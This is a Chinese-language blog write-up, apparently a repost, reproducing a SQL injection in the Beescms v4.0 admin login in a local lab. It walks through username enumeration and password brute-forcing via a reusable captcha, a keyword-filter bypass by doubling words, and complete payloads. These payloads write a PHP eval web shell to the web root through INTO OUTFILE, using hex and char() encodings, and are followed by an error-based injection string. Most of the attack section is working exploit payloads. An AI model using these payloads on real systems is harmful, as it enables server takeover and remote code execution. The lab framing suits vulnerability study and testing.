Beescms_v4.0 sql注入漏洞分析
一、漏洞描述
Beescms v4.0由于后臺登錄驗證碼設計缺陷以及代碼防護缺陷導致存在bypass全域防護的SQL注入,
二、漏洞環境搭建
1、官方下載Beescms v4.0,下載地址: http://beescms.com/cxxz.html
2、解壓壓縮檔案,然后把檔案放到phpstudy的網站根目錄
3、瀏覽器訪問http://192.168.10.171/beescms/install,開始安裝

4、一直下一步,出現如下界面,輸入資料庫賬戶密碼

5、成功安裝

6、修改mysql.ini 檔案,在[mysqld] 下添加條目: secure_file_priv =,保存然后重啟phpstudy,不然用mysql寫入檔案會報錯,

三、漏洞影響版本
Beescms v4.0
四、漏洞復現
1、瀏覽器訪問后臺頁面http://192.168.10.171/beescms/admin/

2、任意輸入用戶名和密碼,看到提示“不存在該管理用戶”,可以列舉用戶名,然后根據列舉出來的用戶名爆破密碼


3、burpsuit列舉用戶名,可以看到該驗證碼存在設計缺陷漏洞,一次驗證后在不重繪的情況下可以多次提交請求,最終導致攻擊者可以進行模糊測驗(暴力列舉),

4、根據列舉出來的用戶名,然后列舉密碼,可以看到成功列舉密碼

5、在用戶名處輸入單引號,報錯,說明存在sql注入漏洞


6、查看原始碼,發現使用f1_value函式和f1_html函式對輸入的用戶名和密碼進行過濾

7、跟進f1_value函式,發現f1_value函式對輸入的關鍵字進行了過濾,可以看到,幾乎常見的SQL關鍵字都被過濾掉了,

8、跟進f1_html函式,發現使用htmlspecialchars函式對輸入的特殊符號進行html物體化轉義,主要用于防御XSS漏洞

9、百度搜索htmlspecialchars函式,發現htmlspecialchars函式默認情況下只對雙引號進行編碼,可以看到這個版本的cms使用默認對引數進行過濾處理,此處存在單引號引入的漏洞,

10、繼續瀏覽代碼,發現登錄驗證函式check_login

11、跟進check_login函式,發現check_login函式在驗證用戶是先驗證用戶名,然后驗證密碼是否正確,該處驗證邏輯存在漏洞,

12、手工模糊測驗
12.1手工測驗發現union select等關鍵字被過濾

12.2通過上面的分析原始碼,發現bypass的方法
union => uni union on
select => selselectect

12.3、猜解SQL查詢陳述句中的欄位數,根據如下圖所示,判斷出SQL查詢陳述句中的欄位數為5

12.4、嘗試通過SQL注入getshell
12.4.1、寫入一句話到目標網站根目錄下,payload如下:
admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[cmd]);?> into outfile 'C:/phpStudy/WWW/beescms/shell.php'#
12.4.2、在burpsuit抓包,修改包并重放,提示如下錯誤,根據回傳的資料包可以看到由于htmlspecialchars函式對輸入的特殊符號進行html物體化轉義,還有就是into、outfile關鍵字被過濾

12.4.3、手工測驗bypass關鍵字過濾防護
outfile => outoutfilefile
into => in into

12.4.4、通過上面的分析,發現php函式htmlspecialchars()對輸入中含有的特殊符號進行html物體化轉義,導致不能寫shell到目標服務器上,可以通過利用mysql注入的一個特性就可以達到注入效果(即對shell部分進行Hex編碼),或者用mysql函式char()就可以繞過這里的限制,
方法一、Hex編碼
1、 對shell部分進行編碼

2、 寫入shell的payload為:注意:記得在編碼轉換的時候前面加0x或者直接用unhex函式
unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e),但是本次實驗用unhex函式一直失敗
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#
3、burp修改資料包,成功寫入shell

4、菜刀連接

方法二、使用char函式
1、mysql內置函式char()可以將里邊的ascii碼引數轉換為字串,使用python實作快速轉換

2、構造payload,payload為:
admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#
3、burp修改資料包,成功寫入shell

4、菜刀連接

后記:
1、經過測驗,發現user欄位除了存在布爾注入,還存在報錯注入
2、構造payload,payload如下:
admin' a and nd extractvalue(1,concat(0x7e,(select user()),0x7e))#

---------------------------------------------------------------------------
參考: https://www.ohlinge.cn/php/beescms_sqli.html
https://www.ohlinge.cn/php/beescms_login_sql.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/63516.html
標籤:其他
下一篇:淺談PHP反序列化漏洞原理
